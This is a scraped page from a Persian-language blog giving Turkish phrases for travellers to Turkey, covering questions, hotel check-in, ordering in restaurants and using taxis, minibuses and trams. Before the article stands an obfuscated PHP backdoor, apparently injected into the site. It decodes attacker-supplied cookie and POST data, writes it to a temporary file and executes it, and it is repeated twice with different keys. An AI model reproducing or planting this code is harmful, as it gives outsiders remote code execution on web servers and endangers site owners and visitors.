$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} زبان ترکی و سفر به کشور ترکیه | وبلاگ اتیچر
skip to Main Content

زبان ترکی و سفر به کشور ترکیه

زبان-ترکی-و-سفر-به-کشور-ترکیه
زمان مطالعه: ۶ دقیقه

فهرست بخش ها

زبان ترکی و جملاتی کاربردی که در سفر به ترکیه به آنها نیاز پیدا خواهید کرد

اگر اصلا زبان ترکی بلد نیستید و یا حتی اگر چمدان خود را بسته اید ، در راه فرودگاه هستید تا از آنجا به ترکیه سفر کنید اما هرچه زبان ترکی آموخته بودید فراموش کرده اید ، نگران نباشید! متنی برای شما آماده کرده ایم که برای سفر به ترکیه و صحبت کردن به زبان ترکی به شما بسیار کمک خواهد کرد.

البته علاوه بر این متن، تیم اُتیچر با اساتید خبره ای که در زمینه آموزش آنلاین زبان های خارجی و البته زبان ترکی دارد می تواند شما را راهنمایی کند.

آزمون یوس ترکیه

جملات پایه در زبان ترکی

چه چیزی؟

Ne yapiyorsun? (چه کار میکنی؟)
Ne içiyorsun? (چه چیزی مینوشی؟)
Ne yiyorsun? (چه چیزی میخوری؟)
Ne istiyorsun? (چه چیزی میخواهی؟)

چه کسی؟

Bu kadın kim? ( این خانم کیست؟)
Bu adam kim? ( این مرد کیست؟)
Yanındaki kim?( کسی که کنارت است، کیست؟)
Evdeki kim? ( کسی که در خانه است کیست؟)

کجاست؟

Market nerede? ( سوپر مارکت کجاست؟ )
Hastane nerede? (بیمارستان کجاست؟)
Eczane nerede? ( داروخانه کجاست؟)
Otel nerede? ( هتل کجاست؟)

چرا/ برای چه؟

Neden aramadın?(چرا تماس نگرفتی؟)
Neden aradın? ( چرا تماس گرفتی؟)
Niçin sende gelmiyorsun? (چرا تو هم نمی آیی؟)
Niçin geç geldin? (چرا دیر آمدی؟)

چطور؟

Nasıl geçti? (چطور بود؟)
Nasil geleceğim?( چگونه بیایم؟)
Nasil gideceğiz? (چگونه میرویم؟)
Oraya nasil gidebilirim? (چطور می توانم به آنجا بروم؟)

جملات پایه در زبان ترکی

چه زمانی؟

Ne zaman buluşacağiz?( چه زمانی ملاقات میکنیم؟)
Ne zaman gidiyorsun? ( چه زمانی میروی؟)
Ne zaman geliyorsun? ( چه زمانی می آیی؟ )
En son ne zaman sinemaya gittin? ( آخرین بار کی به سینما رفتی؟)

کدام؟

Hangisi daha pahalı?( کدام یک گرانتر است؟)
Hangisi ucuz? ( کدام ارزان است؟)
Hangisi lezzetli?(کدام خوشمزه است؟)

به چه معناست؟

Bu ne demek?( این به چه معناست؟)
Masa İngilizce’de ne demek? (میز در انگلیسی به چه معناست؟)
University Turkçe’de ne demek? ( دانشگاه در زبان ترکی چگونه گفته میشود؟)
Eczane ne demek?( داروخانه به چه معناست؟)

چند است؟

Bir bira ne kadar?( یک آبجو چند است؟)
Kebap ne kadar? (کباب چند است؟)
Bir şişe su nekadar?(یک شیشه آب چند است؟)
İstanbul’a bilet nekadar?(بلیط استانبول چند است؟)

چند/ چند عدد؟

Kaç bira alalım? ( چند تا آبجو بخریم؟)
Kaç çay istiyorsunuz? (چند تا چای میخواهید؟)
Kaç tane çantan var? ( چند عدد کیف داری؟)
Kaç tane telefonun var?(چند عدد موبایل داری؟)

اگر به مقصد رسیده اید و باید هتل موردنظر خود را پیدا کنید ، احتمالا آدرس یا نام آن هتل را در تکه کاغذی در دست داشته و کمک میخواهید. این قسمت از آموزش زبان ترکی راهنمای خوبی برای شما خواهد بود.

جملات کاربردی برای استفاده در هتل و اقامتگاه در زبان ترکی

آدرس پرسیدن در زبان ترکی

Merhaba. Bu otel nerede? (سلام. این هتل کجاست؟)
Pardon, bu adrese nasıl gidebilirim? (ببخشید، چگونه میتوانم به این آدرس بروم؟)
Bakar mısınız? Buraya nasıl gidebilirim? (ببخشید، چطور میتوانم به اینجا بروم؟)

جملات کاربردی برای استفاده در هتل و اقامتگاه در زبان ترکی

Merhaba. Bir/iki/ üç kişilik rezervasyonum var. Yardımcı olabilirmisiniz? ( سلام. من اتاق تک/دو/سه نفره رزرو کرده ام. لطفا راهنمایی میکنید؟)
Merhaba. Bir/iki/ üç kişilik oda istiyorum. (سلام. من اتاق تک/دو/سه نفره میخواهم. )
Merhaba. Özel tek kişilik odanız var mı? ( سلام. اتاق تک نفره ی ویژه دارید؟ )
Merhaba. Özel iki kişilik odanız var mı? ( سلام. اتاق دو نفره ی ویژه دارید؟ )

اگر در اقامتگاه می مانید

Merhaba. Karışık odanizda bir/iki/uç kişilik yer var mı? ( سلام. در اتاق مختلط برای یک/دو/سه نفر جا دارید؟)
Merhaba. Bayan odanizda bir/iki/uç kişilik yer var mı? ( سلام. در اتاق بانوان برای یک/دو/سه نفر جا دارید؟)
Merhaba.Erkek odanizda bir/iki/uç kişilik yer var mı? ( سلام. در اتاق مردانه برای یک/دو/سه نفر جا دارید؟)

همچنین در مدتی که در اقامتگاه هستید ممکن است نیاز به عبارات زیر داشته باشید

Oda kaçıncı katta? (اتاق در کدام طبقه است؟)
Oda numarası nedir? (شماره ی اتاق چند است؟)
Tuvalet ortak mı? (آیا سرویس بهداشتی مشترک است؟)
Tuvalet özel mi? (آیا سرویس بهداشتی خصوصی است؟)
Check in saat kaçta? (زمان تحویل اتاق چه ساعتی است؟)
Check out saat kaçta? (زمان تخلیه ی اتاق چه ساعتی است؟)
WiFi şifresi nedir? (رمز وای فای چند است؟)
Temiz havlu alabilir miyim? (آیا ممکن است به من یک حوله ی تمیز بدهید؟)
Temiz terlik alabilir miyim? (آیا ممکن است به من دمپایی تمیز بدهید؟)
Kasanız var mı? ( صندوق دارید؟)
Sıcak su çalışmıyor. (آب گرم قطع است.)
Sular çalışmıyor. (آب قطع است)

اگر بخواهید وارد رستورانی شوید و غذا یا نوشیدنی سفارش بدهید، این جملات در زبان ترکی برای شما مفید خواهند بود:

جملات کاربردی در رستوران ها به زبان ترکی

جملات کاربردی در رستوران ها به زبان ترکی

Kolay gelsin. Menü alabilir miyim? (خسته نباشد، لطفا منو را میدهید؟)
Merhaba. Menü lütfen. (سلام. منو لطفا؟ )
Bir su lütfen. (یک آب لطفا)
Bir su alabilir miyim? (لطفا آب می آورید؟)
Bir bira lütfen. (یک آبجو لطفا)
Bir bira alabilir miyim? (لطفا یک آبجو می آورید؟)

زمانی که غذای شما تمام شده و صورتحساب را بخواهید این جملات در زبان ترکی را می توانید به کار ببرید:

Pardon! Hesap lütfen! (ببخشید! صورتحساب لطفا)
Bakar mısınız? Hesabı alabilir miyim? ( ببخشید، لطفا صورتحساب را می آورید؟)

وقتی صورتحساب را پرداخت کردید و رستوران را ترک می کنید گفتن این جمله کافی است:
Teşekkürler (ممنون)

در طول سفر خود به ترکیه راجع به حمل و نقل هم نیاز پیدا می کنید صحبت کنید و این جملات به زبان ترکی برای شما بسیار راه گشا خواهند بود:

جملات و عبارات اساسی در مورد حمل و نقل به زبان ترکی

جملات و عبارات اساسی در مورد حمل و نقل به زبان ترکی

Taksi ( تاکسی)
Merhaba. Sultanahmet lütfen. (سلام. سلطان احمد لطفا)
Otobüs (اتوبوس)

Minibüs (مینی بوس)

در ترکیه برای استفاده از اتوبوس نیاز به کارت دارید، به خصوص در استانبول. پس نیازی نیست با راننده صحبت کنید و بگویید که کجا میخواهید بروید. اما برای مینی بوس، باید با راننده صحبت کرده و به زبان ترکی به او بگویید کجا میخواهید بروید. پس زمانی که کرایه خود را می دهید به راننده بگویید کجا خواهید رفت:

Bir Kadıköy lütfen! (یک نفر به کادی کوی لطفا)
İnecek var! (کسی پیاده میشود!)
Müsait bir yerde! (در جای مناسب!)
Müsait bir yerde inebilir miyim? (آیا میتوانم در جای مناسبی پیاده شوم؟ )
Müsait bir yerde inecek var! (کسی میخواهد در جای مناسبی پیاده شود!)
İnebilir miyim? (می توانم پیاده شوم؟)

Tramvay(تراموای)
تراموای ها همانند اتوبوس هستند و باید از کارت استفاده کنید.
Subway (مترو)
در مترو نیز همانند اتوبوس و تراموای باید از کارت خود استفاده کنید.
Metrobüs (متروبوس)
اگر در استانبول باشید ممکن است متروبوس کمی استرس زا باشد. اما نگران نباشید؛ نیازی نیست با کسی صحبت کنید. تنها ایراد متروبوس شلوغی آن است. در متروبوس نیز باید از کارت استفاده کنید. اگر متوجه شدید که اشتباه می روید، می توانید پیاده شده و سوار متروبوسی در جهت عکس شوید.

انواع بلیط ها در زبان ترکی

Tek yön. (تک مسیر )
Gidiş-dönüş. (رفت و برگشت)

وقتی در خیابان های ترکیه در حال گردش هستید ، ممکن است بخواهید کسی از شما عکس بگیرد:

Pardon. Bir fotoğraf çekebilir misiniz? (ببخشید، ممکن است یک عکس بگیرید؟)

امیدواریم این جملات برای شما در سفر به ترکیه راه گشا باشد.

این موضوع را فراموش نکنید که شما در ترکیه در میان جمعی از مردم قرار خواهید گرفت که شاید نتوانند انگلیسی صحبت کنند، اما مسلما روشی برای برقراری ارتباط و ایجاد دوستی با شما خواهند یافت. مردم ترکیه به مهمان نوازی مشهور هستند و منتظر شما هستند تا این حقیقت را اثبات کنند. پس تا جایی که می توانید از سفر خود به ترکیه و صحبت کردن به زبان ترکی لذت ببرید!

به خاطر داشته باشید که هر کشور دارای آداب فرهنگی خود میباشد که در این مقاله نکات جالب و مهم در بسیاری از فرهنگ ها در سراسر دنیا شرح داده شده است.

به این مقاله امتیاز بدهید

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search